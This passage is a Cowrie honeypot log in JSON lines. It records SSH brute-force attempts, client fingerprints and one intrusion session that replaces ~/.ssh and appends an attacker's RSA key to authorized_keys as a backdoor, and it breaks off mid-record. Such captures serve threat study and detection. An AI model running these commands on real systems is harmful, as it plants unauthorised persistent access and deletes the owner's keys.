{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:22.750286Z","src_ip":"69.48.205.231","session":"79a25edd0442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:22.861452Z","src_ip":"103.118.29.129","session":"19c5e6a95009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:23.016332Z","src_ip":"45.137.172.116","session":"ce144f7ccc79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":57204,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b95ac598176","protocol":"ssh","message":"New connection: 43.242.203.160:57204 (159.203.135.109:22) [session: 1b95ac598176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:40.460052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:40.474655Z","src_ip":"43.242.203.160","session":"1b95ac598176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:40.808958Z","src_ip":"43.242.203.160","session":"1b95ac598176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"client123","message":"login attempt [root/client123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:41.954813Z","src_ip":"43.242.203.160","session":"1b95ac598176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:43.210588Z","src_ip":"43.242.203.160","session":"1b95ac598176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00666308403015,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:48.446216Z","src_ip":"186.48.18.87","session":"a62c88d84d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":32940,"dst_ip":"10.17.0.5","dst_port":22,"session":"79f2ec2c0bdf","protocol":"ssh","message":"New connection: 200.39.46.41:32940 (10.17.0.5:22) [session: 79f2ec2c0bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:49.424896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:49.432009Z","src_ip":"200.39.46.41","session":"79f2ec2c0bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:49.572740Z","src_ip":"200.39.46.41","session":"79f2ec2c0bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tes","password":"tes","message":"login attempt [tes/tes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:50.169616Z","src_ip":"200.39.46.41","session":"79f2ec2c0bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:51.314071Z","src_ip":"200.39.46.41","session":"79f2ec2c0bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00297164916992,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:53.073834Z","src_ip":"186.48.18.87","session":"41412aa734c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00585389137268,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:57.573829Z","src_ip":"186.48.18.87","session":"f705e639854e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":58728,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e6401e3e800","protocol":"ssh","message":"New connection: 202.51.214.99:58728 (10.17.0.5:22) [session: 6e6401e3e800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:11.992702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:11.996876Z","src_ip":"202.51.214.99","session":"6e6401e3e800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:12.232947Z","src_ip":"202.51.214.99","session":"6e6401e3e800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888","message":"login attempt [root/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:13.212375Z","src_ip":"202.51.214.99","session":"6e6401e3e800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:14.451628Z","src_ip":"202.51.214.99","session":"6e6401e3e800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":49006,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f561276b06b","protocol":"ssh","message":"New connection: 136.232.11.10:49006 (10.17.0.5:22) [session: 2f561276b06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:24.885430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:24.891523Z","src_ip":"136.232.11.10","session":"2f561276b06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":40824,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bf4680a47fc","protocol":"ssh","message":"New connection: 43.242.203.160:40824 (159.203.135.109:22) [session: 6bf4680a47fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:24.978434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:24.983719Z","src_ip":"43.242.203.160","session":"6bf4680a47fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:25.138869Z","src_ip":"136.232.11.10","session":"2f561276b06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:25.287899Z","src_ip":"43.242.203.160","session":"6bf4680a47fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123123","message":"login attempt [root/Asd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:26.149472Z","src_ip":"136.232.11.10","session":"2f561276b06b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:26.420723Z","src_ip":"43.242.203.160","session":"6bf4680a47fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:27.403349Z","src_ip":"136.232.11.10","session":"2f561276b06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:27.722784Z","src_ip":"43.242.203.160","session":"6bf4680a47fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":33886,"dst_ip":"10.17.0.5","dst_port":22,"session":"103ea683f5fc","protocol":"ssh","message":"New connection: 45.137.172.116:33886 (10.17.0.5:22) [session: 103ea683f5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:28.498423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:28.503012Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:28.599257Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.016872Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.250256Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.253306Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.256963Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.450367Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.596358Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.599786Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/tom/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.701931Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.705088Z","src_ip":"45.137.172.116","session":"103ea683f5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":33892,"dst_ip":"10.17.0.5","dst_port":22,"session":"9268f161ea90","protocol":"ssh","message":"New connection: 45.137.172.116:33892 (10.17.0.5:22) [session: 9268f161ea90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.794807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:03:29.799819Z","src_ip":"45.137.172.116","session":"9268f161ea90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@o